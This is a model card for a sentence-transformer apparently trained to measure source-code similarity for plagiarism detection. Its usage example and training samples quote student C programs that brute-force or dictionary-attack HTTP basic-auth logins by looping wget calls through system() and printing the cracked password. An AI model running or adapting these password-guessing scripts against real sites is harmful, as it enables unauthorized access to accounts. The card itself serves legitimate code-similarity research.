buelfhood/SOCO-C-PLBART-ST

SentenceTransformer based on uclanlp/plbart-java-cs

This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: uclanlp/plbart-java-cs
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

• Size: 3,081 training samples
• Columns: sentence_0, sentence_1, and label
• Approximate statistics based on the first 1000 samples:

  	sentence_0	sentence_1	label
  type	string	string	int
  details	min: 146 tokens mean: 381.73 tokens max: 512 tokens	min: 146 tokens mean: 365.36 tokens max: 512 tokens	0: ~99.10% 1: ~0.90%

• Samples:

  sentence_0	sentence_1	label
  #include #include #include #define OneBillion 1e9 int () { FILE *fp; int ret; char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd="; char str[100]; char passwd[150]; int startTime, stopTime, final; strcpy(passwd,strin); fp = fopen("words","r"); if (fp == NULL) { printf ("\n Error opening file; exiting..."); exit(0); } else startTime = time(); while (fgets(str,20,fp) != NULL) { str[strlen(str)-1] = '\0'; if (strlen(str) < 4) { strcat(passwd,str); printf("string is %s\n",passwd); ret = system(passwd); strcpy(passwd,strin); if (ret == 0) break; } } stopTime = time(); final = stopTime-startTime; printf("\n============================================================"); printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html"); printf("\n UserName : "); printf("\n Pas...	#include #include #include #include #include int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...	0
  #include #include #include int () { while (1) { system("wget -p www.cs.rmit.edu.");\ system("mkdir sitefiles"); system("cp www.cs.rmit.edu./index.html sitefiles"); system("diff sitefiles/index.html www.cs.rmit.edu./index.html	mail @cs.rmit.edu."); system("md5sum www.cs.rmit.edu./images/. > imageInfo.txt"); system("diff imageInfo.txt sitefiles/imageInfo.txt	mail @cs.rmit.edu."); system("cp imageInfo.txt sitefiles"); sleep(86400); } }
  #include #include #include #include #include int () { char first[80], last[50]; int count =0; int Start_time,End_time,Total_time,average; char password[15], *getWord; getWord = " "; FILE *fp; int systemres = 1; fp = fopen("words", "r"); Start_time = time(); strcpy(first, "wget --http-user= --http-passwd="); strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/"); { getWord = fgets(password, 15, fp); if (getWord == NULL) exit(1); password [ strlen(password) - 1 ] = '\0'; if(strlen(password) == 3) { strcat(first, password); strcat(first, last); printf("The length of the word is : %d", strlen(password)); printf("\n %s \n",first); count++; systemres = system(first); if (systemres == 0) { printf(" Time =%11dms\n", Start_time); End_time = time(); Total_time = (End_time - Start_time); Total_time /= 1000000000.0; printf("totaltime in seconds =%lldsec\n", ...	#include #include #include int () { int i,j,k,cntr=0; char pass[3]; char password[3]; char get[96]; char username[]=""; int R_VALUE; double time_used; clock_t ,end; =clock(); for (i = 65; i <= 122; i++) { if(i==91) {i=97;} for (j = 65; j <= 122; j++) { if(j==91) {j=97;} for (k = 65; k <= 122; k++) { if(k==91) {k=97;} pass[0] = i; pass[1] = j; pass[2] = k; sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]); cntr++; printf("%d )%s\n\n", cntr, password); sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); ...	0

• Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• num_train_epochs: 1
• fp16: True
• multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: no
• prediction_loss_only: True
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1
• num_train_epochs: 1
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.0
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: True
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: batch_sampler
• multi_dataset_batch_sampler: round_robin
• router_mapping: {}
• learning_rate_mapping: {}

Framework Versions

• Python: 3.11.13
• Sentence Transformers: 5.0.0
• Transformers: 4.52.4
• PyTorch: 2.6.0+cu124
• Accelerate: 1.8.1
• Datasets: 3.6.0
• Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}